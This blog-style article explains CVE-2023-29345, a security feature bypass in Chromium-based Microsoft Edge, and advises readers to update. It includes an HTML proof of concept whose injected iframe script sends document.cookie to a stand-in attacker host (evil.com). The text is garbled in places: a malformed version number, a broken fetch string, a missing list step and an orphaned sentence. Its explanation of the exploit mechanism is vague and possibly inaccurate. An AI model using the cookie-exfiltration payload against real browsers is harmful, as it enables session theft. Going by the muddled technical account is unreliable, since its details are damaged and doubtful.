Security vulnerabilities never rest—and neither should our attention to them. In this deep dive, we’ll break down CVE-2023-29345, a Security Feature Bypass affecting Microsoft Edge (Chromium-based). We’ll cover what the vulnerability is, how it works, show a code sample, walk through a typical exploit, and link out to vital resources for further reading.

What is CVE-2023-29345?

CVE-2023-29345 is a security feature bypass in Microsoft Edge, specifically the Chromium-powered branch. This flaw means certain defenses in Edge, intended to stop malicious activities, can be skirted by attackers. Microsoft patched this bug in a security update released in May 2023.

Affected Product: Microsoft Edge (Chromium-based) - before version 113..1774.35

- Impact: Allows an attacker to bypass specific browser security controls, potentially running certain scripts or accessing content otherwise blocked.

Technical Breakdown

This bypass arises when Edge does not correctly enforce same-origin policies or neglects certain CSP (Content Security Policy) directives in iframes or sandboxed windows. An attacker could create situations where scripts run with more privileges than intended, possibly using malicious iframes or pop-up windows.

This isn’t a code execution bug by itself. It's a bypass of the browser’s *security features,* which could set the stage for further attacks, like cross-site scripting (XSS) or data leakages.

Proof of Concept: How the Exploit Works

Below is a simplified code snippet that demonstrates how an attacker might exploit this vulnerability. Note: This is provided for educational purposes, to help you understand the mechanics—never use exploits on systems you do not own or have authorization to test.

<!--
  PoC: Bypassing Edge's CSP using a crafted iframe
  Only works on vulnerable (unpatched) versions.
-->
<!DOCTYPE html>
<html>
<head>
  <!-- Here, the CSP should block inline scripts -->
  <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
  <iframe src="about:blank" id="evil-iframe"></iframe>
  <script>
    // Try to inject script via the iframe
    var iframe = document.getElementById('evil-iframe');
    var doc = iframe.contentWindow.document;
    doc.open();
    // This script should be blocked, but the bypass may allow it to execute
    doc.write('<script>fetch("https://evil.com/steal?cookie="; + document.cookie)</scr'+'ipt>');
    doc.close();
  </script>
  <h2>If your browser is vulnerable, your cookies might just be sent!</h2>
</body>
</html>

Then, they create an iframe and write an inline script inside it.

- On Edge versions affected by CVE-2023-29345, the browser mishandles nested CSP contexts, and the injected code *may execute*, bypassing CSP rules.

Exploit Details

1. Setup a malicious site that either embeds content from a trusted domain or entices a victim to open a crafted link.

Leverage the bypass as above, inserting scripts where they shouldn’t be allowed.

3. Extract sensitive info (like cookies, local storage, etc.) or perform operations using the user’s session.

Upgrade Microsoft Edge to version 113..1774.35 or later.

_Microsoft quickly fixed this issue; just running Windows Updates or updating Edge will protect you._

Official References

- Microsoft Security Update Guide – CVE-2023-29345
- Chromium Security Advisories
- Edge Release Notes: Update 113

Summary

CVE-2023-29345 is serious because it takes away a safety net that protects users from some of the web’s worst attacks. Bypassing browser security features can open doors to XSS, data theft, and more if left unpatched. Microsoft’s fix closes that door, but understanding what happened gives us all better insight—and motivation to stay updated.

If you’re managing web browsers, enforce regular updates. If you’re a developer, don’t trust client-side defenses alone. As always, security is a moving target.

Stay updated and stay safe!

*Have questions or thoughts about CVE-2023-29345? Let’s discuss below!*

Timeline

Published on: 06/07/2023 18:15:00 UTC
Last modified on: 06/07/2023 20:24:00 UTC